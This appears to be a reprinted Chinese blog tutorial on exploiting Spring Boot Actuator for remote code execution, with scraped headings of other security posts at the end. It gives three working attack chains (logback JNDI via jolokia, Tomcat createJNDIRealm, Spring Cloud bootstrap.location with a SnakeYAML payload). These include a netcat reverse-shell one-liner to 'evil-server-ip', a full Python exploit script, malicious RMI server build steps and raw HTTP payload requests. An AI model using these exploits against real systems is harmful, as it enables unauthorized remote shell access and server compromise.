可以在logback.xml中使用insertFromJNDI标签，这个标签允许我们从 JNDI 加载变量，导致了rce漏洞产生。
rce的流程主要分为4步。详细过程
1、构造 Get 请求访问目标，使其去外部服务器加载恶意 logback.xml 文件。
2、解析 logback.xml 时，最终会触发 InitialContext.lookup(URI) 操作，而URI 为恶意 RMI 服务地址。
3、恶意 RMI 服务器向目标返回一个 Reference 对象，Reference 对象中指定了目标本地存在的 BeanFactory 类，以及Bean Class 的类名、属性、属性值（这里为 ELProcessor 、x、eval(…))。
4、目标在进行 lookup() 操作时，会动态加载并实例化 BeanFactory 类，接着调用 factory.getObjectInstance() 方法，通过反射的方式实例化 Reference 所指向的任意 Bean Class，并且会调用 setter 方法为所有的属性赋值。对应我们的代码，最终调用 setter 方法的时候，就是执行如下代码：

ELProcessor.eval(\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['/bin/sh','-c','rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc evil-server-ip port >/tmp/f']).start()\"

而 ELProcessor.eval() 会对 EL 表达式（这里为反弹 shell）进行求值，最终达到 RCE 的效果。

下载rce利用代码。
修改Spring-Boot-Actuator-Exploit\maliciousRMIServer\src\main\java\hello\EvilRMIServer.java的代码。
可以修改RMI远程监听的端口，和反弹shell的地址和端口。

使用maven对java代码进行编译打包。
进入Spring-Boot-Actuator-Exploit-master/maliciousRMIServer目录，执行mvn clean install
打包成功后创建target目录下生成RMIServer-0.1.0.jar文件。

修改logback.xml文件内容。

<configuration>
  <insertFromJNDI env-entry-name="rmi://x.x.x.x:1097/jndi" as="appName" />
</configuration>

把RMIServer-0.1.0.jar文件上传到公网vps上。
执行RMIServer-0.1.0.jar文件,开启攻击机上的RMI监听时需要通过’Djava.rmi.server.hostname=x.x.x.x’指定自己的RMI监听的外网地址。
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

vps使用nc监听反弹shell指定的端口。
nc -lvp 9998
在漏洞url访问：
http://x.x.x.x/jolokia/exec/ch.qos.logback.classic:Name=default,Type=ch.qos.logback.classic.jmx.JMXConfigurator/reloadByURL/http:!/!114.x.x.x!/logback.xml

成功反弹shell。

createJNDIRealm方法

相关原理请查看Attack Spring Boot Actuator via jolokia Part 2
查看/jolokia/list 中存在的是否存在org.apache.catalina.mbeans.MBeanFactory类提供的createJNDIRealm方法，可能存在JNDI注入，导致远程代码执行。

利用过程分为五步。
1、创建 JNDIRealm
2、写入 contextFactory 为 RegistryContextFactory
3、写入 connectionURL 为你的 RMI Service URL
4、停止 Realm
5、启动 Realm 以触发 JNDI 注入

可以使用burp一步步重放，也可以直接使用python脚本执行。
import requests as req
import sys
from pprint import pprint

url = sys.argv[1] + "/jolokia/"
pprint(url)
#创建JNDIRealm
create_JNDIrealm = {
    "mbean": "Tomcat:type=MBeanFactory",
    "type": "EXEC",
    "operation": "createJNDIRealm",
    "arguments": ["Tomcat:type=Engine"]
}
#写入contextFactory
set_contextFactory = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "contextFactory",
    "value": "com.sun.jndi.rmi.registry.RegistryContextFactory"
}
#写入connectionURL为自己公网RMI service地址
set_connectionURL = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "WRITE",
    "attribute": "connectionURL",
    "value": "rmi://x.x.x.x:1097/jndi"
}
#停止Realm
stop_JNDIrealm = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "stop",
    "arguments": []
}
#运行Realm，触发JNDI 注入
start = {
    "mbean": "Tomcat:realmPath=/realm0,type=Realm",
    "type": "EXEC",
    "operation": "start",
    "arguments": []
}

expoloit = [create_JNDIrealm, set_contextFactory, set_connectionURL, stop_JNDIrealm, start]

for i in expoloit:
    rep = req.post(url, json=i)
    pprint(rep.json())

使用之前打包好的jar包-RMIServer-0.1.0.jar，运行RMI服务
java -Djava.rmi.server.hostname=x.x.x.x -jar RMIServer-0.1.0.jar

使用nc监听反弹的端口nc -lvp 9998

使用python发送请求python exp.py http://x.x.x.x:8087

成功反弹shell。

spring Cloud env

当spring boot使用Spring Cloud 相关组件时，会存在spring.cloud.bootstrap.location属性，通过修改 spring.cloud.bootstrap.location 环境变量实现 RCE
漏洞原理参考https://www.anquanke.com/post/id/195929

利用范围

Spring Boot 2.x 无法利用成功
Spring Boot 1.5.x 在使用 Dalston 版本时可利用成功，使用 Edgware 无法成功
Spring Boot <= 1.4 可利用成功

利用过程

大致原理分为2步。
1、利用 /env endpoint 修改 spring.cloud.bootstrap.location 属性值为一个外部 yml 配置文件 url 地址，如 http://x.x.x.x/yaml-payload.yml
2、请求 /refresh endpoint，触发程序下载外部 yml 文件，并由 SnakeYAML 库进行解析，因 SnakeYAML 在反序列化时支持指定 class 类型和构造方法的参数，结合 JDK 自带的 javax.script.ScriptEngineManager 类，可实现加载远程 jar 包，完成任意代码执行。
下载使用Michael Stepankin大牛提供的exp
更改执行的命令。

将java文件进行编译

javac src/artsploit/AwesomeScriptEngineFactory.java
jar -cvf yaml-payload.jar -C src/ .

把生成的jar文件挂载到公网http服务器。
修改 spring.cloud.bootstrap.location为外部 yml 配置文件地址。

POST /env HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 59
 
spring.cloud.bootstrap.location=http://x.x.x.x/yaml-payload.yml

请求 /refresh 接口触发

POST /refresh HTTP/1.1
Host: 127.0.0.1:8090
Content-Type: application/x-www-form-urlencoded
Content-Length: 0

命令执行成功。

参考文章

https://www.veracode.com/blog/research/exploiting-spring-boot-actuators
https://www.veracode.com/blog/research/exploiting-jndi-injections-java
http://radiosong.cn/index.php/2019/04/03/1.html
https://xz.aliyun.com/t/4258
http://r3start.net/index.php/2019/01/20/377
https://github.com/mpgn/Spring-Boot-Actuator-Exploit
https://www.secshi.com/21506.html
https://lucifaer.com/2019/03/13/Attack%20Spring%20Boot%20Actuator%20via%20jolokia%20Part%202/#0x04-%E6%9E%84%E9%80%A0poc
https://www.anquanke.com/post/id/195929
http://vulsee.com/archives/vulsee_2019/1025_9168.html

Exploit RCE Reprint Spring

- Reprint -

服务器（Linux）挖矿木马病毒（kswapd0进程使cpu爆满）

前言

1.在系统里面top一下，查看了所有进程

2.排查kswapd0进程

2.1 执行命令netstat -antlp | grep kswapd0 查询该进程的网络信息

2.2执行命令netstat -antlp | grep 194.36.190.30 查询该地区ip的其他网络占用情况

3. 查找进程的详细信息

4.查看进程的工作空间

5.切换到木马程序目录并删除

6.清理定时任务

7.杀掉kswapd0进程

8.总结

解决kswapd0 CPU占用率高的问题

app日志抓取

日志抓取

发生 crash 问题，搜索关键字 force finishing

发生 anr 问题

一、Mac / Windows 电脑抓取Android手机APP 日志的方法

电若脑只连接一个Android设备

电脑连接多个Android设备：

二、Mac电脑上抓取IOS手机APP日志的方法：使用Mac电脑自带的“控制台”

三、Windows电脑上抓取ios 手机APP日志的方法：可以用iTools工具

Spring Cloud Gateway rce（CVE-2022-22947）

漏洞描述

漏洞影响

复现漏洞

反弹shell

漏洞原理

修复建议

android使用Leaks检测内存泄漏

Leaks 内存泄漏检测工具使用

YApi命令执行漏洞（MPS-2022-60494）安全风险通告

项目介绍

漏洞概述

影响版本

修复方式

一、版本升级

二、缓解措施

参考链接

CVE-2022-31692 Spring Security Oauth2 Client权限提升漏洞

项目介绍

项目地址

漏洞概述

影响版本

环境搭建

漏洞分析

修复方式

参考链接

跨源资源共享(CORS)

浏览器的同源策略

概念

特点

主要功能

跨域

主要跨域请求方法

JSONP跨域

CORS跨域

说明

举例说明

CORS的安全问题

三种不安全的配置引起的安全问题

通过CORS信任关系 利用XSS

使用错误的CORS破坏TLS

防御CORS

如何预防基于CORS的攻击

正确配置跨域请求

只允许信任的网站

避免将null列入白名单

避免在内部网络中使用通配符

CORS不能替代服务器端安全策略

实验室和参考

Druid未授权访问利用

引言

Druid简介

Druid未授权访问路径

提取session

session伪造进后台

结语

Spring Boot Actuator 漏洞利用

通过CORS信任关系利用XSS